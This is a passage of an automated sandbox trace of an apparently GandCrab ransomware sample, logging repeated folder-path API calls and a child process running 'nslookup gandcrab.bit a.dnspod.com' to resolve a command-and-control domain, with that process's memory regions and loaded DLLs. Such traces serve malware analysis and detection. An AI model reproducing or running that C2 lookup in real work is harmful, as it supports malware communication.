pszPath="C:\\Windows") returned 1 [0143.812] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.818] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.819] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.822] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.824] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.828] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.829] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.830] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.838] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.846] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.848] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.848] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.848] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.848] RtlExitUserThread (Status=0x0) Thread: id = 97 os_tid = 0xa5c Thread: id = 98 os_tid = 0x15c Thread: id = 99 os_tid = 0x1a4 Process: id = "5" image_name = "nslookup.exe" filename = "c:\\windows\\syswow64\\nslookup.exe" page_root = "0xa893000" os_pid = "0xba8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x79c" cmd_line = "nslookup gandcrab.bit a.dnspod.com" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2828 start_va = 0x310000 end_va = 0x326fff entry_point = 0x310000 region_type = mapped_file name = "nslookup.exe" filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe") Region: id = 2829 start_va = 0x7f0000 end_va = 0x47effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2830 start_va = 0x47f0000 end_va = 0x480ffff entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 2831 start_va = 0x4810000 end_va = 0x4811fff entry_point = 0x0 region_type = private name = "private_0x0000000004810000" filename = "" Region: id = 2832 start_va = 0x4820000 end_va = 0x4833fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004820000" filename = "" Region: id = 2833 start_va = 0x4840000 end_va = 0x487ffff entry_point = 0x0 region_type = private name = "private_0x0000000004840000" filename = "" Region: id = 2834 start_va = 0x4880000 end_va = 0x48bffff entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 2835 start_va = 0x48c0000 end_va = 0x48c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048c0000" filename = "" Region: id = 2836 start_va = 0x48d0000 end_va = 0x48d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048d0000" filename = "" Region: id = 2837 start_va = 0x48e0000 end_va = 0x48e1fff entry_point = 0x0 region_type = private name = "private_0x00000000048e0000" filename = "" Region: id = 2838 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2839 start_va = 0x7f040000 end_va = 0x7f062fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f040000" filename = "" Region: id = 2840 start_va = 0x7f064000 end_va = 0x7f064fff entry_point = 0x0 region_type = private name = "private_0x000000007f064000" filename = "" Region: id = 2841 start_va = 0x7f06c000 end_va = 0x7f06efff entry_point = 0x0 region_type = private name = "private_0x000000007f06c000" filename = "" Region: id = 2842 start_va = 0x7f06f000 end_va = 0x7f06ffff entry_point = 0x0 region_type = private name = "private_0x000000007f06f000" filename = "" Region: id = 2843 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2844 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2845 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 2846 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2847 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 2848 start_va = 0x4980000 end_va = 0x498ffff entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 2849 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2850 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2851 start_va = 0x4b10000 end_va = 0x4c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 2852 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2853 start_va = 0x47f0000 end_va = 0x47fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000047f0000" filename = "" Region: id = 2854 start_va = 0x4990000 end_va = 0x4a4dfff entry_point = 0x4990000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2855 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2856 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2857 start_va = 0x7ef40000 end_va = 0x7f03ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef40000" filename = "" Region: id = 2928 start_va = 0x4800000 end_va = 0x4803fff entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 2929 start_va = 0x48f0000 end_va = 0x492ffff entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 2930 start_va = 0x4930000 end_va = 0x496ffff entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 2931 start_va = 0x4da0000 end_va = 0x4daffff entry_point = 0x0 region_type = private name = "private_0x0000000004da0000" filename = "" Region: id = 2932 start_va = 0x73e30000 end_va = 0x73eb3fff entry_point = 0x73e30000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2933 start_va = 0x73ec0000 end_va = 0x73f0dfff entry_point = 0x73ec0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2934 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2935 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2936 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2937 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2938 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2939 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2940 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2941 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2942 start_va = 0x7f069000 end_va = 0x7f06bfff entry_point = 0x0 region_type = private name = "private_0x000000007f069000" filename = "" Region: id = 2943 start_va = 0x73db0000 end_va = 0x73dc1fff entry_point = 0x73db0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 2944 start_va = 0x73670000 end_va = 0x73685fff entry_point = 0x73670000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 2945 start_va = 0x73650000 end_va = 0x73662fff entry_point = 0x73650000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 2946 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2947 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2948 start_va = 0x4a50000 end_va = 0x4a79fff entry_point = 0x4a50000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2949 start_va = 0x4c10000 end_va = 0x4d97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c10000" filename = "" Region: id = 2950 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2951 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2952 start_va = 0x4810000 end_va = 0x4814fff entry_point = 0x4810000 region_type = mapped_file name = "nslookup.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui") Region: id = 2953 start_va = 0x4db0000 end_va = 0x4f30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004db0000" filename = "" Region: id = 2954 start_va = 0x4f40000 end_va = 0x633ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f40000" filename = "" Region: id = 2955 start_va = 0x4970000 end_va = 0x4970fff entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2956 start_va = 0x4a50000 end_va = 0x4a50fff entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 2957 start_va = 0x73640000 end_va = 0x7364afff entry_point = 0x73640000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 2958 start_va = 0x73e20000 end_va = 0x73e27fff entry_point = 0x73e20000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2959 start_va = 0x73fd0000 end_va = 0x73ffffff entry_point = 0x73fd0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2960 start_va = 0x73fc0000 end_va = 0x73fc7fff entry_point = 0x73fc0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2961 start_va = 0x73dd0000 end_va = 0x73e15fff entry_point = 0x73dd0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2962 start_va = 0x74080000 end_va = 0x7409afff entry_point = 0x74080000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Thread: id = 84 os_tid = 0xb70 [0128.621] GetModuleHandleA (lpModuleName=0x0) returned 0x310000 [0128.621] __set_app_type (_Type=0x1) 